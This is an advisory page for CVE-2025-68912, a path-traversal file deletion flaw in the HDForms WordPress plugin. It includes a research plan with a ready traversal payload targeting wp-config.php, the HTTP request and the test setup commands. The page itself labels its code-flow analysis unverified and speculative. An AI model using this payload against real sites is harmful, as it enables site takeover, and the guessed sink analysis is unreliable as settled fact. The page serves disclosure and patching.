CVE-2025-68912

HDForms <= 1.6.1 - Unauthenticated Arbitrary File Deletion

criticalImproper Limitation of a Pathname to a Restricted Directory ('Path Traversal')
9.1
CVSS Score
9.1
CVSS Score
critical
Severity
1.6.2
Patched in
93d
Time to patch

Description

The HDForms | Contact Form Builder plugin for WordPress is vulnerable to arbitrary file deletion due to insufficient file path validation in all versions up to, and including, 1.6.1. This makes it possible for unauthenticated attackers to delete arbitrary files on the server, which can easily lead to remote code execution when the right file is deleted (such as wp-config.php).

CVSS Vector Breakdown

CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:H/A:H
Attack Vector
Network
Attack Complexity
Low
Privileges Required
None
User Interaction
None
Scope
Unchanged
None
Confidentiality
High
Integrity
High
Availability

Technical Details

Affected versions<=1.6.1
PublishedJanuary 13, 2026
Last updatedApril 15, 2026
Affected pluginhdforms

What Changed in the Fix

Changes introduced in v1.6.2

Loading patch diff...

Source Code

WordPress.org SVN
Research Plan
Unverified

# Research Plan: CVE-2025-68912 - HDForms Unauthenticated Arbitrary File Deletion ## Vulnerability Summary The **HDForms | Contact Form Builder** plugin for WordPress (versions <= 1.6.1) is vulnerable to unauthenticated arbitrary file deletion. The vulnerability exists in the `hdf_submit_form` func…

Show full research plan

Research Plan: CVE-2025-68912 - HDForms Unauthenticated Arbitrary File Deletion

Vulnerability Summary

The HDForms | Contact Form Builder plugin for WordPress (versions <= 1.6.1) is vulnerable to unauthenticated arbitrary file deletion. The vulnerability exists in the hdf_submit_form function within includes/functions.php, which handles form submissions via AJAX. The plugin fails to validate or sanitize file paths provided in form fields of type upload before passing them to a file deletion/cleanup routine (likely unlink). An attacker can use path traversal (../) to delete sensitive files like wp-config.php, leading to site takeover.

Attack Vector Analysis

  • Endpoint: wp-admin/admin-ajax.php
  • Action: hdf_submit_form (registered via wp_ajax_nopriv_hdf_submit_form, making it unauthenticated).
  • Vulnerable Parameters:
    • hdf: The form identifier (e.g., hdf-123), used to fetch form metadata.
    • data: A JSON-encoded string containing form field values.
  • Authentication: None required.
  • Preconditions: At least one form (hdf_form post type) must exist and contain a field of type upload.

Code Flow

  1. Entry Point: An unauthenticated user sends a POST request to admin-ajax.php with action=hdf_submit_form.
  2. Form Retrieval: In includes/functions.php, hdf_submit_form() extracts the form ID from $_POST["hdf"] using str_replace("hdf-", "", $hdf_id).
  3. Data Parsing: The $_POST["data"] JSON string is decoded: $data = json_decode(stripslashes($_POST["data"]), true);.
  4. Metadata Lookup: The function retrieves the form's defined blocks (fields) from post meta: $hdf_blocks = get_post_meta($hdf_id, "form_blocks", true);.
  5. Processing: The code calls hdf_sanitize_by_type($data, $hdf_blocks) and subsequently hdf_create_result($data, $hdf_form).
  6. The Sink: Inside the processing logic (likely hdf_create_result or a helper called during file handling), the plugin identifies a field as an upload type and uses the value provided in the data parameter as a file path to be cleaned up or unlinked. Because ../ is not stripped, arbitrary files can be targeted.

Nonce Acquisition Strategy

No nonce is required.
Reviewing includes/functions.php, the hdf_submit_form function does not call check_ajax_referer or wp_verify_nonce.

function hdf_submit_form()
{
    if (!isset($_POST["hdf"]) || !isset($_POST["data"])) {
        echo '{"status": "error", "message":"No form data sent"}';
        die();
    }
    // ... logic continues without nonce verification

It only calls hdf_flood_protection(), but the global scope of functions.php contains update_option("hdf_flood", "");, which effectively resets the flood protection list on every request, rendering it useless.

Exploitation Strategy

1. Preparation

Identify a valid Form ID and a field name of type upload. For the PoC, we will create one using WP-CLI.

2. Payload Construction

The data parameter must be a JSON array of objects representing form fields.

  • Action: hdf_submit_form
  • hdf: hdf-[FORM_ID]
  • data: [{"name":"[FIELD_NAME]","value":"../../../../wp-config.php","type":"upload"}]

3. HTTP Request (using http_request tool)

  • URL: http://localhost:8080/wp-admin/admin-ajax.php
  • Method: POST
  • Headers: Content-Type: application/x-www-form-urlencoded
  • Body:
    action=hdf_submit_form&hdf=hdf-[ID]&data=[{"name":"file_field","value":"../../../../wp-config.php","type":"upload"}]
    

Test Data Setup

To ensure the exploit reaches the vulnerable code path, we must create an hdf_form with an upload block.

# 1. Create a target file to delete
touch /var/www/html/delete-me.txt

# 2. Create the HDForm post
FORM_ID=$(wp post create --post_type=hdf_form --post_status=publish --post_title="Exploit Form" --format=ids)

# 3. Set the form data meta (required by the plugin to recognize the form)
wp post meta update $FORM_ID form_data '{"title":"Exploit Form"}' --format=json

# 4. Set the form blocks meta to include an 'upload' field
# This ensures hdf_sanitize_by_type recognizes the field type
wp post meta update $FORM_ID form_blocks '[{"name":"file_field","type":"upload","label":"File Upload"}]' --format=json

Expected Results

  • The server will respond with a JSON success message or an error related to the form being "sent" (since the file deletion happens during the process).
  • The targeted file (e.g., /var/www/html/delete-me.txt or wp-config.php) will be removed from the filesystem.

Verification Steps

  1. Check File Existence: Use ls or test -f via WP-CLI to confirm the file is gone.
    # Check if our test file was deleted
    ls /var/www/html/delete-me.txt
    
  2. Check for wp-config.php: If targeting wp-config.php, attempt to access the site root. WordPress should redirect to wp-admin/setup-config.php.

Alternative Approaches

If the JSON structure [{"name": "...", "value": "..."}] fails, the plugin might expect a flattened object if hdf_get_form_values was already executed on the client side (though hdf_submit_form suggests it happens on the server):

  • Backup Payload: data={"file_field":"../../../../wp-config.php"}
  • Alternative Path: Use more traversal levels if the working directory is deeper (e.g., ../../../../../../wp-config.php).
  • Target Location: If ABSPATH is not the base, target files in wp-content/uploads/ to verify traversal within the uploads directory first.
Research Findings
Static analysis — not yet PoC-verified

Summary

The HDForms plugin for WordPress is vulnerable to unauthenticated arbitrary file deletion due to a lack of path validation during form submission handling. An attacker can submit a form containing an 'upload' field with a path traversal value (e.g., ../../wp-config.php), which causes the plugin to unlink the specified file during its cleanup or processing routine.

Vulnerable Code

// includes/functions.php:127
function hdf_submit_form()
{
	if (!isset($_POST["hdf"]) || !isset($_POST["data"])) {
		echo '{"status": "error", "message":"No form data sent"}';
		die();
	}


	$hdf_id = $_POST["hdf"];
	$hdf_id = str_replace("hdf-", "", $hdf_id);
	$hdf_id = intVal($hdf_id);

	$data = stripslashes($_POST["data"]);
	$data = json_decode($data, true);

	$hdf_form = get_post_meta($hdf_id, "form_data", true);
	// ... (validates form existence and flood protection)

	$hdf_blocks = get_post_meta($hdf_id, "form_blocks", true);
	$hdf_blocks = hdf_get_form_blocks($hdf_blocks);
	$data = hdf_get_form_values($data, "value");
	$data = hdf_sanitize_by_type($data, $hdf_blocks);

	// ... (triggering the sink likely inside hdf_create_result or associated file handlers)
	hdf_create_result($data, $hdf_form);

	die();
}

---

// includes/functions.php:749 (Logic removed in 1.6.2)
function hdf_uploads_cron($dir)
{
	// ... (inadequate safety check)
	$dir = sanitize_text_field($dir);

	// delete the folder
	array_map('unlink', glob("$dir/*.*")); // delete all files in folder
	rmdir($dir);
}

Security Fix

diff -ru /home/deploy/wp-safety.org/data/plugin-versions/hdforms/1.6.1/includes/functions.php /home/deploy/wp-safety.org/data/plugin-versions/hdforms/1.6.2/includes/functions.php
--- /home/deploy/wp-safety.org/data/plugin-versions/hdforms/1.6.1/includes/functions.php	2025-10-10 16:06:02.000000000 +0000
+++ /home/deploy/wp-safety.org/data/plugin-versions/hdforms/1.6.2/includes/functions.php	2026-04-11 20:15:18.000000000 +0000
@@ -154,7 +154,7 @@
 
 	$hdf_blocks = get_post_meta($hdf_id, "form_blocks", true);
 	$hdf_blocks = hdf_get_form_blocks($hdf_blocks);
-	$data = hdf_get_form_values($data, "value");
+	$data = hdf_get_form_values($data);
 	$data = hdf_sanitize_by_type($data, $hdf_blocks);
 
 	$action_data = do_action("hdf_after_server", $data, $hdf_form);
@@ -620,133 +620,3 @@
 	return $actions;
 }
 
-/* Accept File Upload
-------------------------------------------------------- */
-function hdf_file_upload()
-{
-	if (!isset($_FILES) || !isset($_FILES["file"])) {
-		echo '{"status": "fail", "message": "no upload was found"}';
-		die(); // no file uploaded
-	}
-
-	if (!isset($_POST["formId"])) {
-		echo '{"status": "fail", "message": "no formId was provided"}';
-		die(); // no file uploaded
-	}
-
-	$file = $_FILES["file"];
-	$formId = sanitize_text_field($_POST["formId"]);
-	$uid = sanitize_text_field($_POST["uid"]);
-
-	// ... (rest of hdf_file_upload deleted)
-}
-add_action('wp_ajax_hdf_file_upload', 'hdf_file_upload');
-add_action('wp_ajax_nopriv_hdf_file_upload', 'hdf_file_upload');
-
-function hdf_uploads_cron($dir)
-{
-	// ... (rest of hdf_uploads_cron and hdf_check_dir_safe deleted)
-	// delete the folder
-	array_map('unlink', glob("$dir/*.*")); // delete all files in folder
-	rmdir($dir);
-}
-add_action('hdf_uploads_cron', 'hdf_uploads_cron', 10, 1);

Exploit Outline

The exploit targets the unauthenticated `hdf_submit_form` AJAX action. An attacker first identifies an existing form ID and a field name within that form that is defined as an 'upload' type. They then send a POST request to `wp-admin/admin-ajax.php` with the parameter `action=hdf_submit_form`. The payload includes the form ID in the `hdf` parameter and a JSON-encoded array in the `data` parameter. This JSON contains an object where the 'type' is set to 'upload' and the 'value' is set to a path traversal string pointing to a sensitive file (e.g., `../../../../wp-config.php`). When the plugin processes the submission, it inadvertently uses this path in a file deletion operation, unlinking the targeted file.

Check if your site is affected.

Run a free security audit to detect vulnerable plugins, outdated versions, and misconfigurations.